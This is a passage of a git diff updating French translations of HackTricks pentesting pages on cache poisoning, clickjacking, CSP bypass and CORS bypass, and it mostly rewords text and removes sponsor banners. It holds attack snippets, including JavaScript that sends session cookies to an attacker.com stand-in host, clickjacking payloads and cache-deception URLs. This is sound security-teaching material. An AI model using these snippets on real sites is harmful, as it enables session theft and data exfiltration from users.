- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} - ## La différence > **Quelle est la différence entre le poisonnement de cache web et la tromperie de cache web ?** > -> - Dans le **poisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi à d'autres utilisateurs de l'application. +> - Dans le **poisonnement de cache web**, l'attaquant amène l'application à stocker un contenu malveillant dans le cache, et ce contenu est servi depuis le cache à d'autres utilisateurs de l'application. > - Dans la **tromperie de cache web**, l'attaquant amène l'application à stocker un contenu sensible appartenant à un autre utilisateur dans le cache, et l'attaquant récupère ensuite ce contenu depuis le cache. ## Poisonnement de Cache @@ -25,11 +17,11 @@ L'exécution d'une attaque de poisonnement de cache implique plusieurs étapes : 1. **Identification des Entrées Non Clés** : Ce sont des paramètres qui, bien qu'ils ne soient pas nécessaires pour qu'une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. Identifier ces entrées est crucial car elles peuvent être exploitées pour manipuler le cache. 2. **Exploitation des Entrées Non Clés** : Après avoir identifié les entrées non clés, l'étape suivante consiste à déterminer comment abuser de ces paramètres pour modifier la réponse du serveur d'une manière qui profite à l'attaquant. -3. **Assurer que la Réponse Contaminée est Mise en Cache** : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette façon, tout utilisateur accédant à la page affectée pendant que le cache est contaminé recevra la réponse contaminée. +3. **S'assurer que la Réponse Contaminée est Mise en Cache** : La dernière étape consiste à s'assurer que la réponse manipulée est stockée dans le cache. De cette façon, tout utilisateur accédant à la page affectée pendant que le cache est contaminé recevra la réponse contaminée. ### Découverte : Vérifiez les en-têtes HTTP -En général, lorsqu'une réponse a été **stockée dans le cache**, il y aura un **en-tête l'indiquant**, vous pouvez vérifier quels en-têtes vous devriez surveiller dans cet article : [**En-têtes de Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +En général, lorsqu'une réponse a été **stockée dans le cache**, il y aura un **en-tête l'indiquant**, vous pouvez vérifier quels en-têtes vous devriez surveiller dans ce post : [**En-têtes de Cache HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). ### Découverte : Codes d'erreur de mise en cache @@ -45,7 +37,7 @@ Cependant, notez que **parfois ces types de codes d'état ne sont pas mis en cac ### Découverte : Identifier et évaluer les entrées non clés -Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui peuvent **modifier la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script depuis là : +Vous pourriez utiliser [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) pour **forcer des paramètres et des en-têtes** qui peuvent être **en train de changer la réponse de la page**. Par exemple, une page peut utiliser l'en-tête `X-Forwarded-For` pour indiquer au client de charger le script à partir de là : ```markup ``` @@ -103,7 +95,7 @@ Vérifiez : cache-poisoning-via-url-discrepancies.md {{#endref}} -### Poisoning du cache avec traversée de chemin pour voler la clé API +### Poisoning du cache avec traversée de chemin pour voler une clé API [**Ce rapport explique**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) comment il a été possible de voler une clé API OpenAI avec une URL comme `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` parce que tout ce qui correspond à `/share/*` sera mis en cache sans que Cloudflare ne normalise l'URL, ce qui a été fait lorsque la requête a atteint le serveur web. @@ -180,7 +172,7 @@ Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le ### 403 et Buckets de Stockage -Cloudflare a précédemment mis en cache des réponses 403. Tenter d'accéder à S3 ou à des blobs de stockage Azure avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy. +Cloudflare a précédemment mis en cache les réponses 403. Tenter d'accéder à S3 ou aux Blobs de Stockage Azure avec des en-têtes d'autorisation incorrects entraînerait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement pourrait encore être présent dans d'autres services proxy. ### Injection de Paramètres Clés @@ -202,7 +194,7 @@ Le [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spécifie les caract L'objectif de la Cache Deception est de faire en sorte que les clients **chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles**. -Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache.** Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** répond avec les contenus **sensibles** de l'utilisateur stockés dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs. +Tout d'abord, notez que les **extensions** telles que `.css`, `.js`, `.png`, etc. sont généralement **configurées** pour être **enregistrées** dans le **cache.** Par conséquent, si vous accédez à `www.example.com/profile.php/nonexistent.js`, le cache stockera probablement la réponse car il voit l'**extension** `.js`. Mais, si l'**application** **rejoue** avec les contenus **sensibles** de l'utilisateur stockés dans _www.example.com/profile.php_, vous pouvez **voler** ces contenus d'autres utilisateurs. D'autres choses à tester : @@ -234,12 +226,5 @@ Apprenez ici comment effectuer des [attaques de Cache Deceptions en abusant du H - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) pour facilement construire et **automatiser des workflows** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 4d43d0cd4..cecf107cc 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -2,23 +2,15 @@ {{#include ../banners/hacktricks-training.md}} -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) pour créer et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %} - ## Qu'est-ce que le Clickjacking -Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible**, soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent ou l'achat en ligne de produits. +Dans une attaque de clickjacking, un **utilisateur** est **trompé** en **cliquant** sur un **élément** d'une page web qui est soit **invisible** soit déguisé en un autre élément. Cette manipulation peut entraîner des conséquences inattendues pour l'utilisateur, telles que le téléchargement de logiciels malveillants, la redirection vers des pages web malveillantes, la fourniture de données d'identification ou d'informations sensibles, des transferts d'argent, ou l'achat en ligne de produits. ### Astuce de préremplissage de formulaires Il est parfois possible de **remplir la valeur des champs d'un formulaire en utilisant des paramètres GET lors du chargement d'une page**. Un attaquant peut abuser de ce comportement pour remplir un formulaire avec des données arbitraires et envoyer la charge utile de clickjacking afin que l'utilisateur appuie sur le bouton Soumettre. -### Remplir un formulaire avec Drag\&Drop +### Remplir le formulaire avec Drag\&Drop Si vous avez besoin que l'utilisateur **remplisse un formulaire** mais que vous ne voulez pas lui demander directement d'écrire des informations spécifiques (comme l'email ou un mot de passe spécifique que vous connaissez), vous pouvez simplement lui demander de **Drag\&Drop** quelque chose qui écrira vos données contrôlées comme dans [**cet exemple**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). @@ -66,7 +58,7 @@ left:210px;
Click me next
``` -### Charge utile Drag\&Drop + Click +### Drag\&Drop + Charge utile Click ```markup @@ -98,7 +90,7 @@ background: #F00; ### XSS + Clickjacking Si vous avez identifié une **attaque XSS qui nécessite qu'un utilisateur clique** sur un élément pour **déclencher** le XSS et que la page est **vulnérable au clickjacking**, vous pourriez en abuser pour tromper l'utilisateur en lui faisant cliquer sur le bouton/lien.\ -Exemple:\ +Exemple :\ &#xNAN;_You avez trouvé un **self XSS** dans certains détails privés du compte (détails que **vous seul pouvez définir et lire**). La page avec le **formulaire** pour définir ces détails est **vulnérable** au **Clickjacking** et vous pouvez **préremplir** le **formulaire** avec les paramètres GET._\ \_\_Un attaquant pourrait préparer une **attaque Clickjacking** sur cette page en **préremplissant** le **formulaire** avec la **charge utile XSS** et en **trompant** l'**utilisateur** pour qu'il **soumette** le formulaire. Ainsi, **lorsque le formulaire est soumis** et que les valeurs sont modifiées, l'**utilisateur exécutera le XSS**. @@ -129,16 +121,16 @@ Les valeurs `allow-forms` et `allow-scripts` permettent des actions au sein de l #### X-Frame-Options -L'**en-tête de réponse HTTP `X-Frame-Options`** informe les navigateurs sur la légitimité de rendre une page dans un `` ou ` ``` -Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité est devenue exploitable.**\ +Dans [**ce rapport CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), il était possible via **HTML injection** de **restreindre** davantage un **CSP** afin qu'un script empêchant le CSTI soit désactivé et donc la **vulnérabilité devienne exploitable.**\ Le CSP peut être rendu plus restrictif en utilisant **HTML meta tags** et les scripts en ligne peuvent désactiver **la suppression** de **l'entrée** permettant leur **nonce** et **activer des scripts en ligne spécifiques via sha** : ```html
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Hacking Insights**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Real-Time Hack News**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des insights en temps réel - -**Latest Announcements**\ -Restez informé des nouveaux bug bounties lancés et des mises à jour cruciales de la plateforme - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers aujourd'hui ! +Truc de [**ici**](https://ctftime.org/writeup/29310). ## Technologies non sécurisées pour contourner le CSP @@ -633,10 +603,10 @@ Selon la [**dernière technique commentée dans cette vidéo**](https://www.yout ### Surcharge du tampon de réponse PHP -PHP est connu pour **bufferiser la réponse à 4096** octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant **suffisamment de données dans les avertissements**, la **réponse** sera **envoyée** **avant** le **header CSP**, ce qui entraînera l'ignorance du header.\ +PHP est connu pour **mettre en mémoire tampon la réponse à 4096** octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant **suffisamment de données dans les avertissements**, la **réponse** sera **envoyée** **avant** le **header CSP**, ce qui entraînera l'ignorance du header.\ Ensuite, la technique consiste essentiellement à **remplir le tampon de réponse avec des avertissements** afin que le header CSP ne soit pas envoyé. -Idée tirée de [**ce writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). +Idée de [**ce writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). ### Réécrire la page d'erreur @@ -664,16 +634,16 @@ Pour plus d'informations sur la façon de réaliser cette attaque, consultez [ht S'il y a un CSP strict qui ne vous permet pas de **interagir avec des serveurs externes**, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations. -### Localisation +### Emplacement -Vous pourriez simplement mettre à jour la localisation pour envoyer au serveur de l'attaquant les informations secrètes : +Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes : ```javascript var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid ``` ### Meta tag -Vous pouvez rediriger en injectant une balise meta (ceci est juste une redirection, cela ne fuitera pas de contenu) +Vous pouvez rediriger en injectant une balise meta (il s'agit simplement d'une redirection, cela ne fuitera pas de contenu) ```html ``` @@ -699,7 +669,7 @@ linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl) ``` -Pour éviter que cela ne se produise, le serveur peut envoyer l'en-t +Pour éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP : ``` X-DNS-Prefetch-Control: off ``` @@ -751,19 +721,4 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ​ -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus de hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index e8e695ccf..eb01e7597 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -2,13 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - ## Qu'est-ce que CORS ? -Le partage de ressources entre origines croisées (CORS) standard **permet aux serveurs de définir qui peut accéder à leurs ressources** et **quelles méthodes de requête HTTP sont autorisées** depuis des sources externes. +Le partage de ressources entre origines (CORS) standard **permet aux serveurs de définir qui peut accéder à leurs ressources** et **quelles méthodes de requête HTTP sont autorisées** depuis des sources externes. Une politique de **même origine** exige qu'un **serveur demandant** une ressource et le serveur hébergeant la **ressource** partagent le même protocole (par exemple, `http://`), nom de domaine (par exemple, `internal-web.com`), et **port** (par exemple, 80). Selon cette politique, seules les pages web du même domaine et port sont autorisées à accéder aux ressources. @@ -19,21 +15,21 @@ L'application de la politique de même origine dans le contexte de `http://norma | `http://normal-website.com/example/` | Oui : Schéma, domaine et port identiques | | `http://normal-website.com/example2/` | Oui : Schéma, domaine et port identiques | | `https://normal-website.com/example/` | Non : Schéma et port différents | -| `http://en.normal-website.com/example/` | Non : Domaine différent | -| `http://www.normal-website.com/example/` | Non : Domaine différent | -| `http://normal-website.com:8080/example/` | Non : Port différent\* | +| `http://en.normal-website.com/example/` | Non : Domaine différent | +| `http://www.normal-website.com/example/` | Non : Domaine différent | +| `http://normal-website.com:8080/example/` | Non : Port différent\* | \*Internet Explorer ignore le numéro de port dans l'application de la politique de même origine, permettant ainsi cet accès. ### En-tête `Access-Control-Allow-Origin` -Cet en-tête peut autoriser **plusieurs origines**, une valeur **`null`**, ou un caractère générique **`*`**. Cependant, **aucun navigateur ne prend en charge plusieurs origines**, et l'utilisation du caractère générique `*` est soumise à des **limitations**. (Le caractère générique doit être utilisé seul, et son utilisation avec `Access-Control-Allow-Credentials: true` n'est pas autorisée.) +Cet en-tête peut permettre **plusieurs origines**, une valeur **`null`**, ou un caractère générique **`*`**. Cependant, **aucun navigateur ne prend en charge plusieurs origines**, et l'utilisation du caractère générique `*` est soumise à des **limitations**. (Le caractère générique doit être utilisé seul, et son utilisation avec `Access-Control-Allow-Credentials: true` n'est pas autorisée.) Cet en-tête est **émis par un serveur** en réponse à une demande de ressource inter-domaines initiée par un site web, le navigateur ajoutant automatiquement un en-tête `Origin`. ### En-tête `Access-Control-Allow-Credentials` -Par **défaut**, les requêtes inter-domaines sont effectuées sans identifiants comme des cookies ou l'en-tête d'autorisation. Pourtant, un serveur inter-domaines peut autoriser la lecture de la réponse lorsque des identifiants sont envoyés en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**. +Par **défaut**, les requêtes inter-origines sont effectuées sans identifiants comme des cookies ou l'en-tête d'autorisation. Pourtant, un serveur inter-domaines peut autoriser la lecture de la réponse lorsque des identifiants sont envoyés en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**. S'il est défini sur `true`, le navigateur transmettra des identifiants (cookies, en-têtes d'autorisation ou certificats clients TLS). ```javascript @@ -93,7 +89,7 @@ Access-Control-Max-Age: 240 ``` - **`Access-Control-Allow-Headers`** : Cet en-tête spécifie quels en-têtes peuvent être utilisés lors de la demande réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les demandes du client. - **`Access-Control-Expose-Headers`** : Grâce à cet en-tête, le serveur informe le client des en-têtes qui peuvent être exposés dans la réponse en plus des en-têtes de réponse simples. -- **`Access-Control-Max-Age`** : Cet en-tête indique combien de temps les résultats d'une demande préliminaire peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une demande préliminaire peuvent être réutilisées. +- **`Access-Control-Max-Age`** : Cet en-tête indique combien de temps les résultats d'une demande préliminaire peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, que les informations renvoyées par une demande préliminaire peuvent être réutilisées. - **`Access-Control-Request-Headers`** : Utilisé dans les demandes préliminaires, cet en-tête est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la demande réelle. - **`Access-Control-Request-Method`** : Cet en-tête, également utilisé dans les demandes préliminaires, est défini par le client pour indiquer quelle méthode HTTP sera utilisée dans la demande réelle. - **`Origin`** : Cet en-tête est automatiquement défini par le navigateur et indique l'origine de la demande inter-origine. Il est utilisé par le serveur pour évaluer si la demande entrante doit être autorisée ou refusée en fonction de la politique CORS. @@ -104,7 +100,7 @@ Notez qu'en général (selon le type de contenu et les en-têtes définis) dans ### **Demandes de réseau local Demande préliminaire** 1. **`Access-Control-Request-Local-Network`** : Cet en-tête est inclus dans la demande du client pour signifier que l'enquête vise une ressource de réseau local. Il sert de marqueur pour informer le serveur que la demande provient du réseau local. -2. **`Access-Control-Allow-Local-Network`** : En réponse, les serveurs utilisent cet en-tête pour communiquer que la ressource demandée est autorisée à être partagée avec des entités en dehors du réseau local. Il agit comme un feu vert pour le partage de ressources à travers différentes frontières de réseau, garantissant un accès contrôlé tout en maintenant les protocoles de sécurité. +2. **`Access-Control-Allow-Local-Network`** : En réponse, les serveurs utilisent cet en-tête pour communiquer que la ressource demandée est autorisée à être partagée avec des entités en dehors du réseau local. Il agit comme un feu vert pour le partage de ressources à travers différentes frontières de réseau, garantissant un accès contrôlé tout en maintenant des protocoles de sécurité. Une **réponse valide autorisant la demande de réseau local** doit également contenir dans la réponse l'en-tête `Access-Controls-Allow-Local_network: true` : ``` @@ -194,13 +190,13 @@ Lorsqu'on rencontre une liste blanche de domaines, il est crucial de tester les Les motifs Regex se concentrent généralement sur les caractères alphanumériques, le point (.) et le tiret (-), négligeant d'autres possibilités. Par exemple, un nom de domaine conçu pour inclure des caractères interprétés différemment par les navigateurs et les motifs regex peut contourner les vérifications de sécurité. La gestion des caractères de soulignement dans les sous-domaines par Safari, Chrome et Firefox illustre comment de telles divergences peuvent être exploitées pour contourner la logique de validation des domaines. -**Pour plus d'informations et de paramètres de cette vérification de contournement :** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **et** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) +**Pour plus d'informations et de paramètres concernant cette vérification de contournement :** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **et** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) ![https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png](<../images/image (284).png>) ### Depuis XSS à l'intérieur d'un sous-domaine -Les développeurs mettent souvent en œuvre des mécanismes de défense pour se protéger contre l'exploitation CORS en ajoutant des domaines à la liste blanche qui sont autorisés à demander des informations. Malgré ces précautions, la sécurité du système n'est pas infaillible. La présence même d'un seul sous-domaine vulnérable au sein des domaines sur liste blanche peut ouvrir la porte à l'exploitation CORS par le biais d'autres vulnérabilités, telles que XSS (Cross-Site Scripting). +Les développeurs mettent souvent en œuvre des mécanismes de défense pour se protéger contre l'exploitation de CORS en ajoutant des domaines à la liste blanche qui sont autorisés à demander des informations. Malgré ces précautions, la sécurité du système n'est pas infaillible. La présence même d'un seul sous-domaine vulnérable au sein des domaines sur liste blanche peut ouvrir la porte à l'exploitation de CORS par d'autres vulnérabilités, telles que XSS (Cross-Site Scripting). Pour illustrer, considérons le scénario où un domaine, `requester.com`, est sur liste blanche pour accéder aux ressources d'un autre domaine, `provider.com`. La configuration côté serveur pourrait ressembler à ceci : ```javascript @@ -210,7 +206,7 @@ if ($_SERVER["HTTP_HOST"] == "*.requester.com") { // Unauthorized access } ``` -Dans cette configuration, tous les sous-domaines de `requester.com` sont autorisés à accéder. Cependant, si un sous-domaine, disons `sub.requester.com`, est compromis avec une vulnérabilité XSS, un attaquant peut exploiter cette faiblesse. Par exemple, un attaquant ayant accès à `sub.requester.com` pourrait exploiter la vulnérabilité XSS pour contourner les politiques CORS et accéder de manière malveillante aux ressources sur `provider.com`. +Dans cette configuration, tous les sous-domaines de `requester.com` sont autorisés à accéder. Cependant, si un sous-domaine, disons `sub.requester.com`, est compromis par une vulnérabilité XSS, un attaquant peut tirer parti de cette faiblesse. Par exemple, un attaquant ayant accès à `sub.requester.com` pourrait exploiter la vulnérabilité XSS pour contourner les politiques CORS et accéder de manière malveillante aux ressources sur `provider.com`. ### **Caractères spéciaux** @@ -251,7 +247,7 @@ ssrf-server-side-request-forgery/url-format-bypass.md [**D'après cette recherche**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -Il est possible qu'en exploitant l'empoisonnement du cache côté serveur par injection d'en-tête HTTP, une vulnérabilité Cross-Site Scripting (XSS) stockée puisse être induite. Ce scénario se déroule lorsqu'une application ne parvient pas à assainir l'en-tête `Origin` pour des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et d'Edge. Ces navigateurs traitent (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-tête HTTP. +Il est possible qu'en exploitant l'empoisonnement du cache côté serveur par injection d'en-tête HTTP, une vulnérabilité Cross-Site Scripting (XSS) stockée puisse être induite. Ce scénario se produit lorsqu'une application ne parvient pas à assainir l'en-tête `Origin` pour des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et d'Edge. Ces navigateurs traitent (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-tête HTTP. Considérez la requête suivante où l'en-tête `Origin` est manipulé : ``` @@ -264,7 +260,7 @@ HTTP/1.1 200 OK Access-Control-Allow-Origin: z Content-Type: text/html; charset=UTF-7 ``` -Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête élaborée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait conduire à un cache côté serveur enregistrant la réponse et la servant involontairement à d'autres. Le payload conçu vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères d'une manière qui peut être exécutée comme un script dans certains contextes. +Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête élaborée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait conduire à un cache côté serveur enregistrant la réponse et la servant involontairement à d'autres. Le payload élaboré vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères d'une manière qui peut être exécutée comme un script dans certains contextes. Pour en savoir plus sur les vulnérabilités XSS stockées, consultez [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored). @@ -272,7 +268,7 @@ Pour en savoir plus sur les vulnérabilités XSS stockées, consultez [PortSwigg ### **Poisoning de cache côté client** -[**À partir de cette recherche**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) +[**D'après cette recherche**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) Dans ce scénario, une instance d'une page web reflétant le contenu d'un en-tête HTTP personnalisé sans encodage approprié est observée. Plus précisément, la page web renvoie le contenu inclus dans un en-tête `X-User-id`, qui pourrait inclure du JavaScript malveillant, comme le démontre l'exemple où l'en-tête contient une balise d'image SVG conçue pour exécuter du code JavaScript au chargement. @@ -314,8 +310,8 @@ Essayez d'ajouter un **`callback`** **paramètre** dans la demande. Peut-être q Une façon de contourner la restriction `Access-Control-Allow-Origin` est de demander à une application web de faire une demande en votre nom et de renvoyer la réponse. Cependant, dans ce scénario, les identifiants de la victime finale ne seront pas envoyés car la demande est faite à un domaine différent. -1. [**CORS-escape**](https://github.com/shalvah/cors-escape) : Cet outil fournit un proxy qui transmet votre demande avec ses en-têtes, tout en falsifiant l'en-tête Origin pour correspondre au domaine demandé. Cela contourne effectivement la politique CORS. Voici un exemple d'utilisation avec XMLHttpRequest : -2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil offre une approche alternative pour le proxy des demandes. Au lieu de transmettre votre demande telle quelle, le serveur effectue sa propre demande avec les paramètres spécifiés. +1. [**CORS-escape**](https://github.com/shalvah/cors-escape) : Cet outil fournit un proxy qui transfère votre demande avec ses en-têtes, tout en falsifiant l'en-tête Origin pour correspondre au domaine demandé. Cela contourne effectivement la politique CORS. Voici un exemple d'utilisation avec XMLHttpRequest : +2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) : Cet outil propose une approche alternative pour le proxy des demandes. Au lieu de transmettre votre demande telle quelle, le serveur effectue sa propre demande avec les paramètres spécifiés. ### Bypass Iframe + Popup @@ -337,7 +333,7 @@ Le rebinding DNS via TTL est une technique utilisée pour contourner certaines m Il est important de noter que les navigateurs ont des mécanismes de mise en cache qui peuvent empêcher l'abus immédiat de cette technique, même avec de faibles valeurs TTL. -Le rebinding DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant à la mise en cache d'expirer. +Le rebinding DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant à la cache d'expirer. Si vous avez besoin d'un moyen rapide d'abuser du rebinding DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). @@ -347,10 +343,10 @@ Vous pouvez également explorer un serveur public en cours d'exécution à [http ### Rebinding DNS via **DNS Cache Flooding** -Le rebinding DNS via le flooding du cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une seconde demande DNS. Voici comment cela fonctionne : +Le rebinding DNS via le flooding de cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une seconde demande DNS. Voici comment cela fonctionne : 1. Initialement, lorsque la victime effectue une demande DNS, elle reçoit l'adresse IP de l'attaquant. -2. Pour contourner la défense de mise en cache, l'attaquant utilise un service worker. Le service worker inonde le cache DNS, ce qui supprime effectivement le nom du serveur de l'attaquant mis en cache. +2. Pour contourner la défense de mise en cache, l'attaquant utilise un service worker. Le service worker inonde le cache DNS, ce qui supprime effectivement le nom de serveur de l'attaquant mis en cache. 3. Lorsque le navigateur de la victime effectue une seconde demande DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à localhost. En inondant le cache DNS avec le service worker, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une seconde demande, cette fois-ci résolvant à l'adresse IP souhaitée par l'attaquant. @@ -361,10 +357,10 @@ Une autre façon de contourner la défense de mise en cache est d'utiliser plusi 1. L'attaquant configure deux enregistrements A (ou un seul enregistrement A avec deux IP) pour le même sous-domaine dans le fournisseur DNS. 2. Lorsque le navigateur vérifie ces enregistrements, il reçoit les deux adresses IP. -3. Si le navigateur décide d'utiliser d'abord l'adresse IP de l'attaquant, l'attaquant peut servir un payload qui effectue des requêtes HTTP vers le même domaine. +3. Si le navigateur décide d'utiliser d'abord l'adresse IP de l'attaquant, l'attaquant peut servir une charge utile qui effectue des requêtes HTTP vers le même domaine. 4. Cependant, une fois que l'attaquant obtient l'adresse IP de la victime, il cesse de répondre au navigateur de la victime. 5. Le navigateur de la victime, réalisant que le domaine ne répond pas, passe à utiliser la seconde 